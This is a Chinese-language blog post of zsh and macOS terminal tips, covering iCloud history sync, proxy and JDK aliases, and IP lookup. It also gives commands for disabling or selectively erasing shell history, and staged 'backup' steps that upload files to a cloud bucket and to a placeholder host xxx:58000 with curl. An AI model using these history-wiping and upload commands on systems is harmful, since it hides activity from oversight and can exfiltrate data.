命令补全
iterm2 + zsh + autosuggestions
多终端历史命令同步
指定zsh写入的历史命令的路径,配合autosuggestions实用,对设备多的人来说非常实用
#历史命令的
HISTFILE="$HOME/Library/Mobile Documents/com~apple~CloudDocs/zsh/.zsh_history"
#记录历史命令条数
HISTSIZE=100000
SAVEHIST=100000
setopt appendhistory
同样的 $HOME/.ssh/
, $HOME/.kube/
一类的文件夹也可以配置自动同步
隐藏命令记录
入门
set +o history
进阶
export HISTFILE=/dev/null
高级
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
清除指定行历史命令
清除540行到566行。
for h in $(seq 540 566 | tac); do history -d $h; done; history -d $(history 1 | awk '{print $1}')
代理切换
alias(别名) 非常实用
alias proxy="export ALL_PROXY=http://127.0.0.1:8080"
alias noproxy="export https_proxy= http_proxy= all_proxy="
alias ips="export all_proxy=\"socks5://xxxx:xxxx@proxypool:80\""
替换jenv:
alias jdk6="export JAVA_HOME=/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home"
alias jdk7="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home"
alias jdk8="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_151.jdk/Contents/Home"
alias jdk9="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-9.0.4.jdk/Contents/Home"
alias jdk10="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-10.0.2.jdk/Contents/Home"
alias jdk11="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-11.0.1.jdk/Contents/Home"
alias jdk12="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-12.0.1.jdk/Contents/Home"
alias jdk13="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-13.jdk/Contents/Home"
alias jdk14="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-14.0.1.jdk/Contents/Home"
alias jdk15="export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk-15.jdk/Contents/Home"
禁止HOMEBREW自动更新
避免brew安装/更新程序是自动更新其他程序
export HOMEBREW_NO_AUTO_UPDATE=true
二进制程序统一管理
所有编译好的工具可以统一丢到这目录,无需在alias去链接程序绝对路径,同样也可以配置iCloud自动同步。
export PATH=$PATH:/Users/$HOME/tools/bintools/
当前IP查看
内外网ip
ip(){
echo -e "\e[32m[+] 内网:\e[0m"
ifconfig|grep "inet "|awk -F ' ' '{print $2}'
echo -e "\n\e[31m[+] 公网:\e[0m"
curl cip.cc -s | tr -s '\n' '\n'
}
ip
文件备份1
cd /tmp
wget https://gosspublic.alicdn.com/ossutil/1.7.13/ossutil64 -O hulk
chmod +x hulk
echo "你的配置"|base64 -d > /tmp/.hulk
./hulk -c /tmp/.hulk cp /hulk.zip oss://xxxx/hulk.zip
rm -rf /tmp/.hulk
文件备份2
curl http://xxx:58000/upload -X POST -F 'file=@/tmp/pods'
➜ ~ cat upload.py
from flask import Flask, request
app = Flask(__name__)
登录后下载查看内容:点击我登录
本站提供的资源,都来自网络,版权争议与本站无关,所有内容及软件的文章仅限用于学习和研究目的。不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负,我们不保证内容的长久可用性,通过使用本站内容随之而来的风险与本站无关,您必须在下载后的24个小时之内,从您的电脑/手机中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。侵删请致信邮箱souziyuan@outlook.com
共有 0 条评论